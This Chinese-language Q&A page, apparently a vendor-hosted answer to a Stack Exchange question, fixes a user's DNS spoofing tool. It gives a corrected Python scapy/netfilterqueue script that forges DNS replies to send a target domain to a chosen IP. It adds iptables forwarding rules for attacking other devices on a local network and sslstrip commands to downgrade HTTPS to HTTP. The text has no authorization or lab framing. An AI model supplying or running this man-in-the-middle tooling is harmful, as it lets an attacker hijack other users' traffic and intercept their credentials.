You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

DNS欺骗未跳转目标页面:Linux下重定向bing.com至自定义IP失败

DNS欺骗运行但目标页面无法加载的问题排查与修复

我来帮你排查这个问题——终端显示DNS spoofing在运行,但目标页面连不上,大概率是几个常见环节出了问题,咱们一步步来:

一、先确认iptables规则是否匹配你的使用场景

你当前用的是:

sudo iptables -I OUTPUT -j NFQUEUE --queue-num 0
sudo iptables -I INPUT -j NFQUEUE --queue-num 0

这个规则只针对本机的数据包生效。如果你是想欺骗局域网里的其他设备,得把规则改成针对FORWARD链,同时开启IP转发:

# 开启IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 清空旧规则避免冲突
sudo iptables -F INPUT
sudo iptables -F OUTPUT
# 添加针对转发数据包的规则
sudo iptables -I FORWARD -j NFQUEUE --queue-num 0

如果只是测试本机的话,原规则没问题,但建议先清空旧规则再重新添加,避免冗余规则干扰。

二、修复Python代码里的参数解析问题

你的代码里每次处理数据包时都会调用get_arguments(),这会导致每次收到包都重新解析命令行参数,不仅效率低,还可能出现参数获取异常的情况。应该把参数解析放在全局,然后传给处理函数:
修改后的代码如下:

import optparse
import netfilterqueue
import scapy.all as scapy

def get_arguments():
    parser = optparse.OptionParser()
    parser.add_option("-i", "--ip", dest="ip", help="Your IP")
    parser.add_option("-w", "--website", dest="web_site", help="Web site that you want to spoof")
    arguments = parser.parse_args()[0]
    if not arguments.ip:
        parser.error("[-] Set your IP, use -h for more info")
    if not arguments.web_site:
        parser.error("[-] Set web site, use -h for more info")
    return arguments

# 全局获取参数,避免每次处理包都重新解析
args = get_arguments()

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        # 直接使用全局参数,无需重复解析
        if args.web_site in qname:
            print(f"[+] Spoofing {args.web_site} to {args.ip}")
            answer = scapy.DNSRR(rrname=qname, rdata=args.ip)
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            # 删除校验和与长度,让Scapy自动重新计算
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].chksum
            del scapy_packet[scapy.UDP].len
            # 用字节流格式设置payload,适配Scapy新版本
            packet.set_payload(bytes(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

这里主要优化了两点:

  • 把参数解析结果存为全局变量,避免重复解析命令行
  • 将修改后的数据包转为字节流再设置回队列,避免字符串格式导致的数据包损坏

三、验证目标网站是否为HTTP协议

现在绝大多数网站都是HTTPS,如果你欺骗的是HTTPS网站(比如bing.com),即使DNS解析到了你的IP,浏览器会因为证书不匹配直接拒绝连接,导致“连接丢失”。建议先测试一个纯HTTP的网站(比如http://example.com)来验证DNS欺骗是否生效。

如果确实需要欺骗HTTPS网站,你需要配合sslstrip工具降级HTTPS为HTTP:

# 开启IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 添加iptables规则,将HTTPS流量转发到sslstrip端口
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000
# 启动sslstrip
sslstrip -l 10000

然后再运行你的DNS欺骗脚本,浏览器会用HTTP访问,就能看到欺骗效果了。

四、检查自定义IP的可达性

确保你设置的自定义IP是可以正常访问的——比如在目标设备上ping这个IP,看是否能通。如果IP本身不可达,即使DNS解析正确,页面也无法加载。

内容的提问来源于stack exchange,提问作者Boris Veselov

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.12 04:27:12